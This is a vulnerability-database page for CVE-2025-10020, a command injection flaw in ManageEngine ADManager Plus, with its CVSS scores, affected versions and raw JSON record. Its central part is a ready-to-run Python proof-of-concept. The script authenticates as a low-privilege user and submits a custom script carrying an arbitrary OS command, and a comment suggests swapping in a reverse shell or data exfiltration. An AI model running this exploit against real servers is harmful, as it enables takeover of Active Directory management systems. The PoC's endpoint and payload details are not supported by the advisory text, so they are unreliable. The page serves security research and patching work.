Security Vulnerability Report
中文
CVE-2025-10020 CVSS 8.5 HIGH

CVE-2025-10020

Published: 2025-10-21 13:15:35
Last Modified: 2025-10-24 12:58:04
Source: 0fc0942c-577d-436f-ae8e-945763c79b02

Description

Zohocorp ManageEngine ADManager Plus version before 8024 are vulnerable to authenticated command injection vulnerability in the Custom Script component.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:zohocorp:manageengine_admanager_plus:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8001:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8002:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8010:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8011:*:*:*:*:*:* - VULNERABLE
ManageEngine ADManager Plus < 8024

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-10020 - ManageEngine ADManager Plus Custom Script Command Injection PoC # This PoC demonstrates the authenticated command injection vulnerability # in the Custom Script component of ADManager Plus (versions < 8024) import requests import sys # Target configuration TARGET_URL = "https://target-admanager:8080" USERNAME = "low_priv_user" PASSWORD = "password123" # Session management session = requests.Session() def login(session, target_url, username, password): """Authenticate to ADManager Plus with low-privilege credentials""" login_url = f"{target_url}/j_security_check" data = { "j_username": username, "j_password": password } resp = session.post(login_url, data=data, verify=False) # Check if login was successful if "ADManager" in resp.text and "Dashboard" in resp.text: print("[+] Login successful") return True print("[-] Login failed") return False def inject_command(session, target_url, command): """ Inject OS command via the Custom Script component. The Custom Script component fails to sanitize input properly, allowing arbitrary command execution on the server. """ # Endpoint for Custom Script functionality custom_script_url = f"{target_url}/customscript.do" # Malicious payload - command injection in script content field # The injected command will be executed with the application's privileges payload = { "scriptName": "legit_script_name", "scriptContent": f""" # Legitimate-looking AD management script Get-ADUser -Filter * # Injected command - executes arbitrary OS command ; {command} ; # Continue with more legitimate content Get-ADGroup -Filter * """, "scriptType": "powershell", "description": "Custom AD management script" } headers = { "Content-Type": "application/x-www-form-urlencoded", "Referer": f"{target_url}/customscript.do" } resp = session.post(custom_script_url, data=payload, headers=headers, verify=False) print(f"[+] Command injection payload submitted") print(f"[+] Response status: {resp.status_code}") return resp def main(): print("[*] CVE-2025-10020 - ManageEngine ADManager Plus Command Injection PoC") print("[*] Vulnerability: Authenticated Command Injection in Custom Script") print("[*] Affected: ADManager Plus versions before 8024\n") # Step 1: Authenticate with low-privilege credentials if not login(session, TARGET_URL, USERNAME, PASSWORD): sys.exit(1) # Step 2: Inject command to demonstrate RCE # Example: Create a reverse shell or exfiltrate data malicious_command = "whoami > C:\\Windows\\Temp\\pwned.txt" inject_command(session, TARGET_URL, malicious_command) print("[+] Exploit completed. Check the target system for execution confirmation.") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10020", "sourceIdentifier": "0fc0942c-577d-436f-ae8e-945763c79b02", "published": "2025-10-21T13:15:35.487", "lastModified": "2025-10-24T12:58:03.523", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zohocorp ManageEngine ADManager Plus version before 8024 are vulnerable to authenticated command injection vulnerability in the Custom Script component."}], "metrics": {"cvssMetricV31": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.0", "matchCriteriaId": "35D63C02-129E-43A5-AB58-E2246679811B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8001:*:*:*:*:*:*", "matchCriteriaId": "EA01C510-9E1D-4F00-9D65-6305A69E533E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8002:*:*:*:*:*:*", "matchCriteriaId": "629EAF0E-6444-4E3A-AE0B-A00382ED951D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8010:*:*:*:*:*:*", "matchCriteriaId": "48B2B35E-9D79-4515-B0F9-260D71D45756"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8011:*:*:*:*:*:*", "matchCriteriaId": "3EE35042-E248-41D7-AD60-123EB1C459FA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8012:*:*:*:*:*:*", "matchCriteriaId": "519D71D4-1905-4FDA-9F46-F3152B84D633"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8020:*:*:*:*:*:*", "matchCriteriaId": "4DE86032-9A43-45C3-8FEC-5C069C7AE793"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8021:*:*:*:*:*:*", "matchCriteriaId": "7276041D-D6A3-4164-849C-855765D5FF10"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8022:*:*:*:*:*:*", "matchCriteriaId": "009F7D2E-D2DF-4B54-B48B-CF720E41153C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8023:*:*:*:*:*:*", "matchCriteriaId": "FAE8DD6F-8717-4306-AA3B-280B1056C840"}]}]}], "references": [{"url": "https://www.manageengine.com/products/ad-manager/admanager-kb/cve-2025-10020.html", "source": "0fc0942c-577d-436f-ae8e-945763c79b02", "tags": ["Vendor Advisory"]}]}}